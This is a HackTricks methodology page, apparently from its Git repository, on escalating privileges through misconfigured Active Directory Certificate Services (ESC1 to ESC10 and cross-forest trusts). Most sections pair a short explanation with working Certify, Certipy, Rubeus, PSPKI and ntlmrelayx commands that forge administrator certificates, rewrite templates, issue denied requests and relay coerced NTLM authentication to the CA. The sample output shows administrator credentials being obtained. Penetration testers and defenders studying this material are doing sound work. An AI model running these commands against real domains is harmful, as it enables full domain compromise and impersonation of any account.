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hacktricks/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md
carlospolop 89016342d8 f
2023-03-05 22:38:33 +01:00

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AD CS Domain Escalation

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Misconfigured Certificate Templates - ESC1

Explanation

  • The Enterprise CA grants low-privileged users enrolment rights
  • Manager approval is disabled
  • No authorized signatures are required
  • An overly permissive certificate template security descriptor grants certificate enrolment rights to low-privileged users
  • The certificate template defines EKUs that enable authentication:
    • Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA).
  • The certificate template allows requesters to specify a subjectAltName in the CSR:
    • AD will use the identity specified by a certificate’s subjectAltName (SAN) field if it is present. Consequently, if a requester can specify the SAN in a CSR, the requester can request a certificate as anyone (e.g., a domain admin user). The certificate template’s AD object specifies if the requester can specify the SAN in its mspki-certificate-name-flag property. The mspki-certificate-name-flag property is a bitmask and if the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag is present, a requester can specify the SAN.

{% hint style="danger" %} These settings allow a low-privileged user to request a certificate with an arbitrary SAN, allowing the low-privileged user to authenticate as any principal in the domain via Kerberos or SChannel. {% endhint %}

This is often enabled, for example, to allow products or deployment services to generate HTTPS certificates or host certificates on the fly. Or because of lack of knowledge.

Note that when a certificate with this last option is created a warning appears, but it doesn't appear if a certificate template with this configuration is duplicated (like the WebServer template which has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT enabled and then the admin might add an authentication OID).

Abuse

To find vulnerable certificate templates you can run:

Certify.exe find /vulnerable
certipy find -u john@corp.local -p Passw0rd -dc-ip 172.16.126.128

To abuse this vulnerability to impersonate an administrator one could run:

Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'

Then you can transform the generated certificate to .pfx format and use it to authenticate using Rubeus or certipy again:

Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100

The Windows binaries "Certreq.exe" & "Certutil.exe" can be abused to generate the PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee

Moreover, the following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate certificate templates that do not require approval/signatures, that have a Client Authentication or Smart Card Logon EKU, and have the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))

Misconfigured Certificate Templates - ESC2

Explanation

The second abuse scenario is a variation of the first one:

  1. The Enterprise CA grants low-privileged users enrollment rights.
  2. Manager approval is disabled.
  3. No authorized signatures are required.
  4. An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.
  5. The certificate template defines the Any Purpose EKU or no EKU.

The Any Purpose EKU allows an attacker to get a certificate for any purpose like client authentication, server authentication, code signing, etc. The same technique as for ESC3 can be used to abuse this.

A certificate with no EKUs — a subordinate CA certificate —  can be abused for any purpose as well but could also use it to sign new certificates. As such, using a subordinate CA certificate, an attacker could specify arbitrary EKUs or fields in the new certificates.

However, if the subordinate CA is not trusted by the NTAuthCertificates object (which it won’t be by default), the attacker cannot create new certificates that will work for domain authentication. Still, the attacker can create new certificates with any EKU and arbitrary certificate values, of which there’s plenty the attacker could potentially abuse (e.g., code signing, server authentication, etc.) and might have large implications for other applications in the network like SAML, AD FS, or IPSec.

The following LDAP query when run against the AD Forest’s configuration schema can be used to enumerate templates matching this scenario:

(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))

Misconfigured Enrolment Agent Templates - ESC3

Explanation

This scenario is like the first and second one but abusing a different EKU (Certificate Request Agent) and 2 different templates (therefore it has 2 sets of requirements),

The Certificate Request Agent EKU (OID 1.3.6.1.4.1.311.20.2.1), known as Enrollment Agent in Microsoft documentation, allows a principal to enroll for a certificate on behalf of another user.

The “enrollment agent” enrolls in such a template and uses the resulting certificate to co-sign a CSR on behalf of the other user. It then sends the co-signed CSR to the CA, enrolling in a template that permits “enroll on behalf of”, and the CA responds with a certificate belong to the “other” user.

Requirements 1:

  1. The Enterprise CA allows low-privileged users enrollment rights.
  2. Manager approval is disabled.
  3. No authorized signatures are required.
  4. An overly permissive certificate template security descriptor allows certificate enrollment rights to low-privileged users.
  5. The certificate template defines the Certificate Request Agent EKU. The Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) allows for requesting other certificate templates on behalf of other principals.

Requirements 2:

  1. The Enterprise CA allows low-privileged users enrollment rights.
  2. Manager approval is disabled.
  3. The template schema version 1 or is greater than 2 and specifies an Application Policy Issuance Requirement requiring the Certificate Request Agent EKU.
  4. The certificate template defines an EKU that allows for domain authentication.
  5. Enrollment agent restrictions are not implemented on the CA.

Abuse

You can use Certify or Certipy to abuse this scenario:

# Request an enrollment agent certificate
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:Vuln-EnrollmentAgent
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'templateName'

# Enrollment agent certificate to issue a certificate request on behalf of
# another user to a template that allow for domain authentication
Certify.exe request /ca:CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA /template:User /onbehalfof:CORP\itadmin /enrollment:enrollmentcert.pfx /enrollcertpwd:asdf
certipy req 'corp.local/john:Pass0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf

Enterprise CAs can constrain the users who can obtain an enrollment agent certificate, the templates enrollment agents can enroll in, and which accounts the enrollment agent can act on behalf of by opening certsrc.msc snap-in -> right clicking on the CA -> clicking Properties -> navigating to the “Enrollment Agents” tab.

However, the default CA setting is “Do not restrict enrollment agents”. Even when administrators enable “Restrict enrollment agents”, the default setting is extremely permissive, allowing Everyone access enroll in all templates as anyone.

Vulnerable Certificate Template Access Control - ESC4

Explanation

Certificate templates have a security descriptor that specifies which AD principals have specific permissions over the template.

If an attacker has enough permissions to modify a template and create any of the exploitable misconfigurations from the previous sections, he will be able to exploit it and escalate privileges.

Interesting rights over certificate templates:

  • Owner: Implicit full control of the object, can edit any properties.
  • FullControl: Full control of the object, can edit any properties.
  • WriteOwner: Can modify the owner to an attacker-controlled principal.
  • WriteDacl: Can modify access control to grant an attacker FullControl.
  • WriteProperty: Can edit any properties

Abuse

An example of a privesc like the previous one:

ESC4 is when a user has write privileges over a certificate template. This can for instance be abused to overwrite the configuration of the certificate template to make the template vulnerable to ESC1.

As we can see in the path above, only JOHNPC has these privileges, but our user JOHN has the new AddKeyCredentialLink edge to JOHNPC. Since this technique is related to certificates, I have implemented this attack as well, which is known as Shadow Credentials. Here’s a little sneak peak of Certipy’s shadow auto command to retrieve the NT hash of the victim.

Certipy can overwrite the configuration of a certificate template with a single command. By default, Certipy will overwrite the configuration to make it vulnerable to ESC1. We can also specify the -save-old parameter to save the old configuration, which will be useful for restoring the configuration after our attack.

# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old

# Exploit ESC1
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template ESC4-Test -upn administrator@corp.local

# Restore config
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json

Vulnerable PKI Object Access Control - ESC5

Explanation

The web of interconnected ACL based relationships that can affect the security of AD CS is extensive. Several objects outside of certificate templates and the certificate authority itself can have a security impact on the entire AD CS system. These possibilities include (but are not limited to):

  • The CA server’s AD computer object (i.e., compromise through S4U2Self or S4U2Proxy)
  • The CA server’s RPC/DCOM server
  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.)

If a low-privileged attacker can gain control over any of these, the attack can likely compromise the PKI system.

EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6

Explanation

There is another similar issue, described in the CQure Academy post, which involves the EDITF_ATTRIBUTESUBJECTALTNAME2 flag. As Microsoft describes, “If this flag is set on the CA, any request (including when the subject is built from Active Directory®) can have user defined values in the subject alternative name.”
This means that an attacker can enroll in ANY template configured for domain authentication that also allows unprivileged users to enroll (e.g., the default User template) and obtain a certificate that allows us to authenticate as a domain admin (or any other active user/machine).

Note: the alternative names here are included in a CSR via the -attrib "SAN:" argument to certreq.exe (i.e., “Name Value Pairs”). This is different than the method for abusing SANs in ESC1 as it stores account information in a certificate attribute vs a certificate extension.

Abuse

Organizations can check if the setting is enabled using the following certutil.exe command:

certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags"

Underneath, this just uses remote registry, so the following command may work as well:

reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags

Certify and Certipy also checks for this and can be used to abuse this misconfiguration:

# Check for vulns, including this one
Certify.exe find

# Abuse vuln
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local

These settings can be set, assuming domain administrative (or equivalent) rights, from any system:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2

If you find this setting in your environment, you can remove this flag with:

certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2

{% hint style="warning" %} After the May 2022 security updates, new certificates will have a securiy extension that embeds the requester's objectSid property. For ESC1, this property will be reflected from the SAN specified, but with ESC6, this property reflects the requester's objectSid, and not from the SAN.
As such, to abuse ESC6, the environment must be vulnerable to ESC10 (Weak Certificate Mappings), where the SAN is preferred over the new security extension. {% endhint %}

Vulnerable Certificate Authority Access Control - ESC7

Attack 1

Explanation

A certificate authority itself has a set of permissions that secure various CA actions. These permissions can be access from certsrv.msc, right clicking a CA, selecting properties, and switching to the Security tab:

This can also be enumerated via PSPKI’s module with Get-CertificationAuthority | Get-CertificationAuthorityAcl:

Get-CertificationAuthority -ComputerName dc.theshire.local | Get-certificationAuthorityAcl | select -expand Access

The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA administrator” and “Certificate Manager”.

Abuse

If you have a principal with ManageCA rights on a certificate authority, we can use PSPKI to remotely flip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template (ECS6):

This is also possible in a simpler form with PSPKI’s Enable-PolicyModuleFlag cmdlet.

The ManageCertificates rights permits to approve a pending request, therefore bypassing the "CA certificate manager approval" protection.

You can use a combination of Certify and PSPKI module to request a certificate, approve it, and download it:

# Request a certificate that will require an approval
Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:ApprovalNeeded
[...]
[*] CA Response      : The certificate is still pending.
[*] Request ID       : 336
[...]

# Use PSPKI module to approve the request
Import-Module PSPKI
Get-CertificationAuthority -ComputerName dc.theshire.local | Get-PendingRequest -RequestID 336 | Approve-CertificateRequest

# Download the certificate
Certify.exe download /ca:dc.theshire.local\theshire-DC-CA /id:336

Attack 2

Explanation

{% hint style="warning" %} In the previous attack Manage CA permissions was used to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag to perform the ESC6 attack, but this will not have any effect until the CA service (CertSvc) is restarted. When a user has the Manage CA access right, the user is also allowed to restart the service. However, it does not mean that the user can restart the service remotely. Furthermore, ESC6 might not work out of the box in most patched environments due to the May 2022 security updates. {% endhint %}

Therefore, another attack is presented here.

Perquisites:

  • Only ManageCA permission
  • Manage Certificates permission (can be granted from ManageCA)
  • Certificate template SubCA must be enabled (can be enabled from ManageCA)

The technique relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the SubCA - which will be denied - but then issued by the manager afterwards.

Abuse

You can grant yourself the Manage Certificates access right by adding your user as a new officer.

certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'John' on 'corp-DC-CA'

The SubCA template can be enabled on the CA with the -enable-template parameter. By default, the SubCA template is enabled.

# List templates
certipy ca 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -enable-template 'SubCA'
## If SubCA is not there, you need to enable it

# Enable SubCA
certipy ca -ca 'corp-DC-CA' -enable-template SubCA -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully enabled 'SubCA' on 'corp-DC-CA'

If we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the SubCA template.

This request will be denied, but we will save the private key and note down the request ID.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 785
Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate

With our Manage CA and Manage Certificates, we can then issue the failed certificate request with the ca command and the -issue-request <request ID> parameter.

certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

And finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter.

certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 785
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate has no object SID
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'

NTLM Relay to AD CS HTTP Endpoints – ESC8

Explanation

{% hint style="info" %} In summary, if an environment has AD CS installed, along with a vulnerable web enrollment endpoint and at least one certificate template published that allows for domain computer enrollment and client authentication (like the default Machine template), then an attacker can compromise ANY computer with the spooler service running! {% endhint %}

AD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These HTTPbased certificate enrollment interfaces are all vulnerable NTLM relay attacks. Using NTLM relay, an attacker on a compromised machine can impersonate any inbound-NTLM-authenticating AD account. While impersonating the victim account, an attacker could access these web interfaces and request a client authentication certificate based on the User or Machine certificate templates.

  • The web enrollment interface (an older looking ASP application accessible at http://<caserver>/certsrv/), by default only supports HTTP, which cannot protect against NTLM relay attacks. In addition, it explicitly only allows NTLM authentication via its Authorization HTTP header, so more secure protocols like Kerberos are unusable.
  • The Certificate Enrollment Service (CES), Certificate Enrollment Policy (CEP) Web Service, and Network Device Enrollment Service (NDES) support negotiate authentication by default via their Authorization HTTP header. Negotiate authentication support Kerberos and NTLM; consequently, an attacker can negotiate down to NTLM authentication during relay attacks. These web services do at least enable HTTPS by default, but unfortunately HTTPS by itself does not protect against NTLM relay attacks. Only when HTTPS is coupled with channel binding can HTTPS services be protected from NTLM relay attacks. Unfortunately, AD CS does not enable Extended Protection for Authentication on IIS, which is necessary to enable channel binding.

Common problems with NTLM relay attacks are that the NTLM sessions are usually short and that the attacker cannot interact with services that enforce NTLM signing.

However, abusing a NTLM relay attack to obtain a certificate to the user solves this limitations, as the session will live as long as the certificate is valid and the certificate can be used to use services enforcing NTLM signing. To know how to use an stolen cert check:

{% content-ref url="account-persistence.md" %} account-persistence.md {% endcontent-ref %}

Another limitation of NTLM relay attacks is that they require a victim account to authenticate to an attacker-controlled machine. An attacker could wait or could try to force it:

{% content-ref url="../printers-spooler-service-abuse.md" %} printers-spooler-service-abuse.md {% endcontent-ref %}

Abuse

****Certify’s cas command can enumerate enabled HTTP AD CS endpoints:

Certify.exe cas

Enterprise CAs also store CES endpoints in their AD object in the msPKI-Enrollment-Servers property. Certutil.exe and PSPKI can parse and list these endpoints:

certutil.exe -enrollmentServerURL -config CORPDC01.CORP.LOCAL\CORP-CORPDC01-CA

Import-Module PSPKI
Get-CertificationAuthority | select Name,Enroll* | Format-List *

Abuse with Certify

## In the victim machine
# Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine
PortBender redirect 445 8445
rportfwd 8445 127.0.0.1 445
# Prepare a proxy that the attacker can use
socks 1080

## In the attackers
proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2support --adcs --no-http-server

# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>

Abuse with Certipy

By default, Certipy will request a certificate based on the Machine or User template depending on whether the relayed account name ends with $. It is possible to specify another template with the -template parameter.

We can then use a technique such as PetitPotam to coerce authentication. For domain controllers, we must specify -template DomainController.

$ certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)

[*] Targeting http://ca.corp.local/certsrv/certfnsh.asp
[*] Listening on 0.0.0.0:445
[*] Requesting certificate for 'CORP\\Administrator' based on the template 'User'
[*] Got certificate with UPN 'Administrator@corp.local'
[*] Certificate object SID is 'S-1-5-21-980154951-4172460254-2779440654-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

No Security Extension - ESC9

Explanation

ESC9 refers to the new msPKI-Enrollment-Flag value CT_FLAG_NO_SECURITY_EXTENSION (0x80000). If this flag is set on a certificate template, the new szOID_NTDS_CA_SECURITY_EXT security extension will not be embedded. ESC9 is only useful when StrongCertificateBindingEnforcement is set to 1 (default), since a weaker certificate mapping configuration for Kerberos or Schannel can be abused as ESC10 — without ESC9 — as the requirements will be the same.

  • StrongCertificateBindingEnforcement not set to 2 (default: 1) or CertificateMappingMethods contains UPN flag
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies any client authentication EKU
  • GenericWrite over any account A to compromise any account B

Abuse

In this case, John@corp.local has GenericWrite over Jane@corp.local, and we wish to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be Administrator. Notice that we’re leaving out the @corp.local part.

This is not a constraint violation, since the Administrator user’s userPrincipalName is Administrator@corp.local and not Administrator.

Now, we request the vulnerable certificate template ESC9. We must request the certificate as Jane.

Notice that the userPrincipalName in the certificate is Administrator and that the issued certificate contains no “object SID”.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName Jane@corp.local.

Now, if we try to authenticate with the certificate, we will receive the NT hash of the Administrator@corp.local user. You will need to add -domain <domain> to your command line since there is no domain specified in the certificate.

Weak Certificate Mappings - ESC10

Explanation

ESC10 refers to two registry key values on the domain controller.

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel CertificateMappingMethods. Default value 0x18 (0x8 | 0x10), previously 0x1F.

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc StrongCertificateBindingEnforcement. Default value 1, previously 0.

Case 1

StrongCertificateBindingEnforcement set to 0

Case 2

CertificateMappingMethods contains UPN bit (0x4)

Abuse Case 1

  • StrongCertificateBindingEnforcement set to 0
  • GenericWrite over any account A to compromise any account B

In this case, John@corp.local has GenericWrite over Jane@corp.local, and we wish to compromise Administrator@corp.local. The abuse steps are almost identical to ESC9, except that any certificate template can be used.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be Administrator. Notice that we’re leaving out the @corp.local part.

This is not a constraint violation, since the Administrator user’s userPrincipalName is Administrator@corp.local and not Administrator.

Now, we request any certificate that permits client authentication, for instance the default User template. We must request the certificate as Jane.

Notice that the userPrincipalName in the certificate is Administrator.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName Jane@corp.local.

Now, if we try to authenticate with the certificate, we will receive the NT hash of the Administrator@corp.local user. You will need to add -domain <domain> to your command line since there is no domain specified in the certificate.

Abuse Case 2

  • CertificateMappingMethods contains UPN bit flag (0x4)
  • GenericWrite over any account A to compromise any account B without a userPrincipalName property (machine accounts and built-in domain administrator Administrator)

In this case, John@corp.local has GenericWrite over Jane@corp.local, and we wish to compromise the domain controller DC$@corp.local.

First, we obtain the hash of Jane with for instance Shadow Credentials (using our GenericWrite).

Next, we change the userPrincipalName of Jane to be DC$@corp.local.

This is not a constraint violation, since the DC$ computer account does not have userPrincipalName.

Now, we request any certificate that permits client authentication, for instance the default User template. We must request the certificate as Jane.

Then, we change back the userPrincipalName of Jane to be something else, like her original userPrincipalName (Jane@corp.local).

Now, since this registry key applies to Schannel, we must use the certificate for authentication via Schannel. This is where Certipy’s new -ldap-shell option comes in.

If we try to authenticate with the certificate and -ldap-shell, we will notice that we’re authenticated as u:CORP\DC$. This is a string that is sent by the server.

One of the available commands for the LDAP shell is set_rbcd which will set Resource-Based Constrained Delegation (RBCD) on the target. So we could perform a RBCD attack to compromise the domain controller.

Alternatively, we can also compromise any user account where there is no userPrincipalName set or where the userPrincipalName doesn’t match the sAMAccountName of that account. From my own testing, the default domain administrator Administrator@corp.local doesn’t have a userPrincipalName set by default, and this account should by default have more privileges in LDAP than domain controllers.

Compromising Forests with Certificates

CAs Trusts Breaking Forest Trusts

The setup for cross-forest enrollment is relatively simple. Administrators publish the root CA certificate from the resource forest to the account forests and add the enterprise CA certificates from the resource forest to the NTAuthCertificates and AIA containers in each account forest. To be clear, this means that the CA in the resource forest has complete control over all other forests it manages PKI for. If attackers compromise this CA, they can forge certificates for all users in the resource and account forests, breaking the forest security boundary.

Foreign Principals With Enrollment Privileges

Another thing organizations need to be careful of in multi-forest environments is Enterprise CAs publishing certificates templates that grant Authenticated Users or foreign principals (users/groups external to the forest the Enterprise CA belongs to) enrollment and edit rights.
When an account authenticates across a trust, AD adds the Authenticated Users SID to the authenticating user’s token. Therefore, if a domain has an Enterprise CA with a template that grants Authenticated Users enrollment rights, a user in different forest could potentially enroll in the template. Similarly, if a template explicitly grants a foreign principal enrollment rights, then a cross-forest access-control relationship gets created, permitting a principal in one forest to enroll in a template in another forest.

Ultimately both these scenarios increase the attack surface from one forest to another. Depending on the certificate template settings, an attacker could abuse this to gain additional privileges in a foreign domain.

References

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